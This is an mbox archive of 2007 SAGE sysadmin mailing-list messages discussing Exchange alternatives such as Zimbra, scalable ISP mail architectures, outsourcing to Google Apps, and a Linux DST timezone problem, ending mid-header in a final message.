	(envelope-from zvr@softlab.ece.ntua.gr)
Received: from theseas.softlab.ece.ntua.gr (localhost [127.0.0.1])
	by theseas.softlab.ece.ntua.gr (8.13.4/8.13.4/Debian-3sarge3) with
	ESMTP id l277pg4d017593
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Wed, 7 Mar 2007 09:51:42 +0200
Received: (from zvr@localhost)
	by theseas.softlab.ece.ntua.gr (8.13.4/8.13.4/Submit) id l277pgVZ017590;
	Wed, 7 Mar 2007 09:51:42 +0200
Date: Wed, 7 Mar 2007 09:51:42 +0200
From: Alexios Zavras <zvr@pobox.com>
To: David Blank-Edelman <dnb@ccs.neu.edu>
Cc: SAGE Members <sage-members@usenix.org>
Subject: Re: [SAGE] Exchange work-alikes
Message-ID: <20070307075142.GB5762@softlab.ece.ntua.gr>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
	<45EE14E9.3020506@deaddrop.org>
	<147014EA-4115-49C9-BF16-21399D3EE0B1@ccs.neu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <147014EA-4115-49C9-BF16-21399D3EE0B1@ccs.neu.edu>
X-Mail-Address: P.O. Box 24071, GR-111 10  Athens, GREECE
X-Home-Address: 13, Lykoudi St., GR-111 41  Athens, GREECE
X-Work-Phone: +30-2108203900
X-Work-Fax: +30-2108203909
X-Home-Phone: +30-2102010669
X-Home-Fax: +30-2102010669
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: ClamAV version 0.88.7,
	clamav-milter version 0.88.7 on ulysses.noc.ntua.gr
X-Virus-Scanned: ClamAV 0.88.7/2759/Wed Mar 7 01:54:09 2007 on
	theseas.softlab.ece.ntua.gr
X-Virus-Status: Clean
X-DCC--Metrics: voyager 1356; bulk rep Body=many Fuz1=many Fuz2=many rep=62%
Sender: owner-sage-members@usenix.org
Precedence: bulk

David Blank-Edelman wrote [edited]:
> And truth be told, I probably can't afford a webmail system that is  
> as good as Gmail, a web-based project management system as good  
> Basecamp, a web-based calendar as good as Google calendar, and so on.  

Exactly.
As things get more and more complicated and need more resources
to operate and maintain, while the available resources
do not always increase at the same rate, you have to decide
what parts you can "outsource".

Speaking with a 20-year view of (non-US) .edu environment,
I've observed this trend for a while.

Dialup was the first to go...  Remember the time when you had
dial-in (with hundreds of lines, access servers, etc.) ?
Did you fight to get acceptable telecom rates at national
and even international level (numbering plans, etc.) ?
Did you setup DSLAMs for providing DSL access to your users ?
Do you still have all this ?  Is operating it an efficient use
of your resources ?  Been there, done that.  Not any more.

DNS (being low maintenance), access lists on routers
(being too local/critical) and such, seem to remain in-house.

I believe GoogleApps (mail, personal web pages, calendar, etc.)
will soon make the switch: too complicated to keep in-house
at a as-good-as-Google level.

Additional data points from small, non-IT companies
also seem to correlate.

-- 
-- zvr --
--  +---------------------------+       Alexios Zavras (-zvr-)
    | H eytyxia den exei enoxes |       zvr@pobox.com
    +-----------------------zvr-+


From sage-members-owner@usenix.org Wed Mar  7 01:50:04 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l279o47A019789
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 7 Mar 2007 01:50:04 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l279o4A8019788
	for sage-members-0utGoign; Wed, 7 Mar 2007 01:50:04 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l279nNcN019767
	for <sage-members@usenix.org>; Wed, 7 Mar 2007 01:49:33 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id 8012115B585;
	Wed,  7 Mar 2007 04:49:19 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 30711-01; Wed, 7 Mar 2007 04:49:17 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id E058115B584;
	Wed,  7 Mar 2007 04:49:16 -0500 (EST)
Received: from [172.16.7.250] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l279n2sN058017;
	Wed, 7 Mar 2007 04:49:11 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240508c21431fca47b@[172.16.7.250]>
In-Reply-To: <45ED676A.1000908@geekbunker.org>
References: <45ED676A.1000908@geekbunker.org>
Date: Wed, 7 Mar 2007 03:44:18 -0600
To: Rodrigo Campos <rodrigo@geekbunker.org>, sage-members@usenix.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] ISP class e-mail server
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.349 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.050, BAYES_00=-2.599]
X-Spam-Score: -4.349
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=16%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 10:06 AM -0300 3/6/07, Rodrigo Campos wrote:

>  I'm looking for an isp class e-mail server, capable of handling millions
>  of e-mail accounts per domain.

Everything I'm going to say on this subject assumes that you have 
either seen the slides from my talks, or that you will go look at 
them as a result of this conversation.

>  The requisites are support for pop3/imap4/smtp and it must be able to
>  handle Gigabyte mailboxes. It must run on (preferably) Linux or Solaris
>  on Intel servers, on a SAN environment (probably EMC or HDS).

You can do that in a variety of ways.  You could outsource 
everything.  You could use commercial products (potentially including 
some appliances as at least part of the solution), which would help 
you get up and running a lot faster but might bring with them certain 
additional limitations.  Or, you can go open source.

But Enterprise mail systems can certainly be built to handle 
thousands, hundreds of thousands, millions of users, with mailboxes 
going into the gigabyte range, using any of these methods -- been 
there, done that.

As I see it, the key problems are:

	1.  How much money can you spend to make this happen?

	2.  How fast do you have to be operational?

	3.  When the effluent hits the fan, do the CxO types in your
		company just want some company with deep pockets that they
		can sue into oblivion, or do they want the talent in-house
		to keep everything actually running?

Then ask yourself who you're trying to compete with, and ask yourself 
if you'd want to outsource your entire business to those companies. 
For example, can you imagine Yahoo! outsourcing all their e-mail 
services to Google Apps for Your Domain?  Can you imagine Microsoft 
outsourcing their entire e-mail system to Google?

Somewhere down that line, it becomes easier to imagine that 
Organization X would outsource everything to a given supplier.  Where 
are you on that line?

>  I'm currently evaluating Critical Path and Communigate, maybe some of you
>  have experience with these softwares or could recommend any others.

With regards to Enterprise e-mail services, I'm not a big fan of 
outsourcing in general, and I have a ... strong aversion ... to 
Critical Path in particular.  If you're thinking about using them, 
I'd recommend that you first consider all other possible options. 
And if you do come back around to considering them, then I'd also 
seriously consider getting out of the business entirely.


Commercial software like Sendmail Switch or Communigate Pro can get 
you up and running a lot faster, but of course there is a higher 
up-front cost.  And because you can't have any real control over the 
code that is used for those systems, you're going to be limited in 
terms of the number of ways that you can put all those pieces 
together.

Nick Christenson was architect of the original Earthlink e-mail 
system using open-source tools (and the USENIX paper detailing what 
he had built), also the first consultant hired by Sendmail, wrote the 
book on sendmail performance tuning, and was principal author of the 
recent SAGE booklet "Internet Postmaster: Duties & Responsibilities". 
Nick was my co-author for some of the invited talks I've done on 
subjects related to this topic, I was technical reviewer for his 
book, and I was his co-author for that booklet.

During his time at Sendmail, Nick built more than a few Enterprise 
e-mail systems for clients, including those on the same scale as 
Earthlink (or larger).  Of course, he used the Sendmail Switch 
software, but he's also spoken highly of the Communigate Pro 
software.  Of course, that was a while ago, and it is possible that 
Communigate Pro has changed since then.  But I would not hesitate to 
recommend that you at least seriously look at both of these packages.


On the open-source side, you could use either sendmail or postfix as 
the MTA (they each have their advantages), Cyrus or maybe Dovecot as 
the IMAP & POP3 server and back-end message store (depending on your 
design criteria), TWIG or SquirrelMail as the webmail system, 
OpenLDAP as the user provisioning/mail routing system, Perdition as 
the IMAP/POP3 front-end proxy system, and layer four load-balancing 
switches sitting in front of the Perdition boxes.


Stepping back from the specific products and looking at the overall 
architecture, I pretty much addressed just about everything you're 
talking about in the LISA 2000 invited talk "Design and 
Implementation of Highly Scalable E-mail Systems" (see 
<http://www.shub-internet.org/brad/papers/dihses/>).  This is an 
architecture that Nick and I co-developed, and which I know was 
implemented at more than a few Large Enterprise/ISP sites.

If you're looking for a more open-source oriented set of solutions to 
this kind of problem, see the slides for my invited talk "Scalable 
IMAP Services: Theory, Practice and Non-technical Issues" at 
<http://www.shub-internet.org/brad/papers/sistpni>.  Note that the 
solution detailed in this talk probably won't scale well enough for 
your environment, because I had some unique design constraints that 
prevented me from being able to go with my preferred solutions, and 
instead required me to go with alternatives that worked differently 
than Nick and I had assumed for DIHSES.  But most of this stuff will 
still be applicable.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Wed Mar  7 01:50:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l279o1Cc019783
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 7 Mar 2007 01:50:02 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l279o19t019782
	for sage-members-0utGoign; Wed, 7 Mar 2007 01:50:01 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l279nMcn019766
	for <sage-members@usenix.org>; Wed, 7 Mar 2007 01:49:33 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id E31DD15B588;
	Wed,  7 Mar 2007 04:49:21 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 30571-01; Wed, 7 Mar 2007 04:49:20 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id F25E115B584;
	Wed,  7 Mar 2007 04:49:19 -0500 (EST)
Received: from [172.16.7.250] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l279n2sP058017;
	Wed, 7 Mar 2007 04:49:19 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240509c21439fb8430@[172.16.7.250]>
In-Reply-To: <45EDA096.5010200@seekio.com>
References: <45EDA096.5010200@seekio.com>
Date: Wed, 7 Mar 2007 03:49:02 -0600
To: Nate <nate@seekio.com>, sage-members@usenix.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Exchange work-alikes
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.349 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.050, BAYES_00=-2.599]
X-Spam-Score: -4.349
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=16%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 10:10 AM -0700 3/6/07, Nate wrote:

>                                                                     So
>  far I've been looking at Scalix 11 and Zimbra 4.5.  So far Zimbra is
>  looking very nice, and I'm leaning that way.

I can't speak for any of the other products.  I can say that I've got 
some scheduling and OTA synching issues myself to deal with, and I've 
been looking into trying out a hosted Zimbra solution for my own 
personal e-mail, and coordinating my schedule with my wife.

If I can get that to working to my satisfaction for my own e-mail, 
then I figure I can recommend that kind of solution to other people, 
and maybe make some money helping to implement that kind of thing for 
customers.


I can say that I know of some tech companies in Austin that are using 
Zimbra, and it has surprised me that these companies in these 
specific sensitive positions would have gone with a solution like 
this.

I thought I was keeping up-to-date on all the Exchange-alikes in the 
field, but obviously not.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Wed Mar  7 02:13:20 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l27AD9Cn020669
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 7 Mar 2007 02:13:10 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l27AD9Xh020668
	for sage-members-0utGoign; Wed, 7 Mar 2007 02:13:09 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l27AC5uJ020654
	for <sage-members@usenix.org>; Wed, 7 Mar 2007 02:12:18 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 6EBD441C013;
	Wed,  7 Mar 2007 05:10:44 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 05324-03; Wed, 7 Mar 2007 05:10:40 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id 8999741C006;
	Wed,  7 Mar 2007 05:10:40 -0500 (EST)
Received: from [172.16.7.250] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l27ABqUf058803;
	Wed, 7 Mar 2007 05:11:52 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p0624050ac2143cc52b62@[172.16.7.250]>
In-Reply-To: <20070307075142.GB5762@softlab.ece.ntua.gr>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
	<45EE14E9.3020506@deaddrop.org>
	<147014EA-4115-49C9-BF16-21399D3EE0B1@ccs.neu.edu>
	<20070307075142.GB5762@softlab.ece.ntua.gr>
Date: Wed, 7 Mar 2007 04:08:03 -0600
To: Alexios Zavras <zvr@pobox.com>, David Blank-Edelman <dnb@ccs.neu.edu>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Exchange work-alikes
Cc: SAGE Members <sage-members@usenix.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.328 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.071, BAYES_00=-2.599]
X-Spam-Score: -4.328
X-Spam-Level: 
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1 rep=13%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 9:51 AM +0200 3/7/07, Alexios Zavras wrote:

>  I believe GoogleApps (mail, personal web pages, calendar, etc.)
>  will soon make the switch: too complicated to keep in-house
>  at a as-good-as-Google level.

For personal use, sure.  At least, for some people.

I mean, very few people actually run their own servers in their own 
house, and anything else would be subject to the same laws regarding 
search & seizure, regardless of whether it's your own physical box at 
a co-location facility or a virtual machine account, etc....

Sure, you can get a certain amount of security by putting the box at 
a facility in another country where you know that the people take a 
pretty hardline view towards caving in to illegal or inappropriate 
behaviour from law enforcement types.  But that still only gets you 
so far, and those boxes will still be subject to some sort of search 
& seizure laws somewhere.


For smaller businesses, sure -- for the same reasons.

But the larger your business, the less I think that this will be true.


Over time, I imagine that line might move further up the chain, but I 
think it's going to be a pretty tough slog.

At least here in the US, you've got laws like Sarbanes-Oxley and 
HIPAA that place some pretty strong requirements on companies and all 
their communications, most definitely including e-mail.

Some companies will take an "outsource everything" approach to 
solving this problem, but then it doesn't really solve the problem, 
it just makes it easier for some people to lie about their 
responsibilities and whether or not they are actually being properly 
dealt with.  And by lie, I mean to their regulators, their creditors, 
their stockholders, and maybe to themselves.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Wed Mar  7 18:42:37 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l282gb50007999
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 7 Mar 2007 18:42:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l282gblO007998
	for sage-members-0utGoign; Wed, 7 Mar 2007 18:42:37 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.241])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l282gMoc007993
	for <sage-members@usenix.org>; Wed, 7 Mar 2007 18:42:33 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id c5so293287anc
	for <sage-members@usenix.org>; Wed, 07 Mar 2007 18:42:22 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=J8lAyPjo+uRnJPWTjnEOQG+yB5hBPAd0eM/iudNmGyM6WbHHfaXZcMnxMT3UgfxsBSVtCzW1Cj3dRO0Ei2r3cH0gZAKwaI5upAo9mCfzQZpKIL7z6S/ynbm2U0EaaNfF/iBSyNjRQvtToHAGtwz3N012mqMtTPIMOpa8Afjk9EA=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=JI/kprVeR5gT16NRCfsjHJPFmBDiiQrUOUszQTnMLg7ZEyiPeKu3DE1t8hT1iSqkHArf2CGZ/i8yoHPE3WplqCj1E3MQOv0CMIFjtZt0F6tkzaabOzoQDjX5SX/7EmUveIS9uE0pGN02bDqrEFN/pCOzR5n482uNEwjZGUF0e3Q=
Received: by 10.100.168.13 with SMTP id q13mr5096046ane.1173321741979;
	Wed, 07 Mar 2007 18:42:21 -0800 (PST)
Received: by 10.100.3.1 with HTTP; Wed, 7 Mar 2007 18:42:21 -0800 (PST)
Message-ID: <d9757b460703071842t7e4c62a3g8ca0824345081e51@mail.gmail.com>
Date: Wed, 7 Mar 2007 21:42:21 -0500
From: "Nicholas Tang" <nicholastang@gmail.com>
To: Nate <nate@seekio.com>
Subject: Re: [SAGE] Exchange work-alikes
Cc: sage-members@usenix.org
In-Reply-To: <45EDA096.5010200@seekio.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45EDA096.5010200@seekio.com>
X-DCC-wuwien-Metrics: voyager 1290; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I'd also be very curious to see if anyone on the list has ever moved
away from Exchange and into another system, and what their experience
has been.

We're running Exchange, currently, and while it generally works, I'm
not a huge fan (for obvious reasons).  However, the functionality it
provides isn't matched by most other solutions, and regardless of what
it's like to manage, most end-users love what it gives them.

We also use "smartphones" - in our case, Treo 650's running the palm
software and good software for syncing, although we're not opposed to
moving to something else (newer windows based treos w/ syncing built
in, or blackberries) as long as it's a cost-effective move and
improves functionality.

I don't want to migrate away if it'll affect the end-user in a
negative fashion.  A little re-education, possibly, but if it means
jumping through a series of (from their perspective) arcane hoops just
to get their email or sync their calendar, it's not worth considering.
 (I'm not actively looking to move away, but I like to keep an eye out
for ways to get away from Microsoft when it makes good business
sense.)

Nicholas

On 3/6/07, Nate <nate@seekio.com> wrote:
> I've been doing some research on email/calendar/contact systems similar
> to exchange, and was wondering if anyone had any opinions.  Luckily, we
> do not currently run Exchange, rather a qmail/vpopmail setup that's
> showing its age.  Our company is getting large enough now that we need
> some groupware functionality, specifically calendars for meeting
> schedules, resource scheduling, etc.  So I'm trying to find a good
> alternative before I get the dreaded request to install Exchange.  So
> far I've been looking at Scalix 11 and Zimbra 4.5.  So far Zimbra is
> looking very nice, and I'm leaning that way.  Here is a quick list of
> requirements:
>
> - Only about 100 users right now, and probably only a growth of 50 a
> year at most.
> - No MS
> - Email accounts and aliases
> - Support for 200+ domains
> - Mailing lists
> - Wildcard addresses (user-*@domain.com)
> - Calendars with ability to invite other users to events
> - Ability to schedule resources (mainly conference rooms)
> - Be able to see free/busy for people/resources when scheduling
> - Shared Contacts.
> - Works across 3 major platforms (Windows, MacOS X, Linux)
>
> Bonuses:
> - Outlook integration
> - Apple iSync integration
> - Webmail
>
> With that said, Zimbra fits the bill almost perfectly.  I especially
> like the fact that it's based on Postfix, and other open source
> projects.  However, I am leary of major parts of it (webmail, POP, SMTP,
> IMAP) running in Tomcat.
>
> I also looked at Open-Xchange, but was turned off by the interface.
>
> So does anyone have any experience with something like this?  Any
> good/bad notes about Zimbra?  Any other projects that I'm not including?
>
> Thanks,
> Nate
>


From sage-members-owner@usenix.org Wed Mar  7 18:57:44 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l282vhBr008328
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 7 Mar 2007 18:57:43 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l282vhrX008327
	for sage-members-0utGoign; Wed, 7 Mar 2007 18:57:43 -0800 (PST)
Received: from out5.smtp.messagingengine.com (out5.smtp.messagingengine.com
	[66.111.4.29])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l282vP3F008315
	for <sage-members@usenix.org>; Wed, 7 Mar 2007 18:57:35 -0800 (PST)
Received: from out1.internal (unknown [10.202.2.149])
	by out1.messagingengine.com (Postfix) with ESMTP id 4795F1F669A;
	Wed,  7 Mar 2007 21:57:21 -0500 (EST)
Received: from heartbeat2.messagingengine.com ([10.202.2.161])
	by out1.internal (MEProxy); Wed, 07 Mar 2007 21:57:21 -0500
X-Sasl-enc: kR2iVSux2xz+INAwT3U8mjl1RlpdG9bn75/YfwvPz6rs 1173322641
Received: from way-too-hosed.mit.edu (c-24-128-48-242.hsd1.ma.comcast.net
	[24.128.48.242])
	by mail.messagingengine.com (Postfix) with ESMTP id 4780DBC74;
	Wed,  7 Mar 2007 21:57:21 -0500 (EST)
Received: by way-too-hosed.mit.edu (Postfix, from userid 5001)
	id D883A2B78C; Wed,  7 Mar 2007 21:57:19 -0500 (EST)
From: seph <seph@directionless.org>
To: Nate <nate@seekio.com>
Cc: sage-members@usenix.org
Subject: [SAGE] Re: Exchange work-alikes
References: <45EDA096.5010200@seekio.com>
Date: Wed, 07 Mar 2007 21:57:19 -0500
In-Reply-To: <45EDA096.5010200@seekio.com> (nate@seekio.com's message of "Tue, 
	06 Mar 2007 10:10:46 -0700")
Message-ID: <w52bqj4jvcg.fsf@lame.message.id>
User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/21.3 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Nate <nate@seekio.com> writes:

> I've been doing some research on email/calendar/contact systems similar
> to exchange, and was wondering if anyone had any opinions.

I recently evaluated several for my company. After trying several
different ones, we concluded if you needed calendaring to work with
outlook, nothing but exchange worked well. Various other things all
had some problem or other around calendaring -- shared calendars
wouldn't work quite right, scheduling was a little weird, etc. 

But, if you don't have a strong outlook requirement, it gets a lot
more interesting. Zimbra seemed best to me. They seem to have a good
philosophy, a good product, lots of nice bells and whistles.

seph


From sage-members-owner@usenix.org Thu Mar  8 09:47:38 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l28HlVkt014698
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Mar 2007 09:47:33 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l28HlVYA014697
	for sage-members-0utGoign; Thu, 8 Mar 2007 09:47:31 -0800 (PST)
Received: from hamhock.hoovers.com (hamhock-outbound.hoovers.com
	[66.179.38.26])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l28HkuTL014688
	for <sage-members@sage.org>; Thu, 8 Mar 2007 09:47:07 -0800 (PST)
Received: from mercury.ad.austin.hoovers.com (mercury.ad.austin.hoovers.com
	[66.179.38.7])
	by hamhock.hoovers.com (HamHock-OUTBOUND) with ESMTP id 47617362DA3
	for <sage-members@sage.org>; Thu,  8 Mar 2007 11:12:49 -0600 (CST)
Received: from [66.179.38.59] ([66.179.38.59]) by
	mercury.ad.austin.hoovers.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Thu, 8 Mar 2007 11:12:49 -0600
Message-ID: <45F04410.7070207@hoovers.com>
Date: Thu, 08 Mar 2007 11:12:48 -0600
From: Frank Smith <fsmith@hoovers.com>
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
MIME-Version: 1.0
To: Rodrick Brown <rodrick.brown@gmail.com>
CC: SAGE mailing list <sage-members@sage.org>, tech@lopsa.org
Subject: [SAGE] Re: [lopsa-tech] DST gcc/glibc problems on Linux
References: <bb075cdf0703080843r268e0f0brb7b213ab432bcc6c@mail.gmail.com>
In-Reply-To: <bb075cdf0703080843r268e0f0brb7b213ab432bcc6c@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 08 Mar 2007 17:12:49.0093 (UTC)
	FILETIME=[FF68AF50:01C761A4]
X-DCC-dmv.com-Metrics: voyager 1181; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Rodrick Brown wrote:
> I have a fairly large application which is not working properly during the
> new DST times ONLY.
> It has errors between March 11 2:00 am and April 2nd 1:59 am. It works fine
> after April 2nd 2:00 am.
> 
> We believe glibc is causing it to report incorrect timezone or DST for the
> new DST.
> Anyone here off hand know if there are any gcc/glibc related issues with DST
> or patches needed for Red hat Linux AS 3 update 5.
> I have not been able to find anything thanks.
> 
> The server is patched for DST, using the latest tzdata file from Redhat.
> 
> [root@cltpgmlqap01 zoneinfo]# rpm -qa |grep tzdata
> tzdata-2006m-2.el3
> 
> [root@cltpgmlqap01 zoneinfo]# cat /etc/sysconfig/clock
> ZONE="America/New_York"
> UTC=false
> ARC=false

Check out the instructions at <http://kbase.redhat.com/faq/FAQ_79_9950>
especially the section starting out with "A caveat of only updating
tzdata..." as you may need to manually fix /etc/localtime depending on
how you did  your update.

Frank


-- 
Frank Smith                                      fsmith@hoovers.com
Sr. Systems Administrator                       Voice: 512-374-4673
Hoover's Online                                   Fax: 512-374-4501


From sage-members-owner@usenix.org Thu Mar  8 11:35:14 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l28JZEe5017405
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 8 Mar 2007 11:35:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l28JZElt017404
	for sage-members-0utGoign; Thu, 8 Mar 2007 11:35:14 -0800 (PST)
Received: from smtp1.laika.com (smtp1.laika.com [209.162.219.6])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l28JYrSH017395
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 8 Mar 2007 11:35:03 -0800 (PST)
Received: from smtp-av1.laika.com (smtp1.laika.com [10.111.222.6])
	by smtp1.laika.com (8.13.0/8.13.0) with SMTP id l28JGf9Q010974;
	Thu, 8 Mar 2007 11:16:41 -0800 (PST)
Received: from exchange.wvs ([10.1.1.4])
	by peacekeeper.laika.com ([10.111.222.60])
	with SMTP (gateway) id A0375CD7782; Thu, 08 Mar 2007 11:16:41 -0800
Received: from 10.10.5.14 ([10.10.5.14]) by exchange.wvs ([10.1.1.4]) with
	Microsoft Exchange Server HTTP-DAV ; Thu,  8 Mar 2007 19:16:41 +0000
User-Agent: Microsoft-Entourage/11.3.3.061214
Date: Thu, 08 Mar 2007 11:16:41 -0800
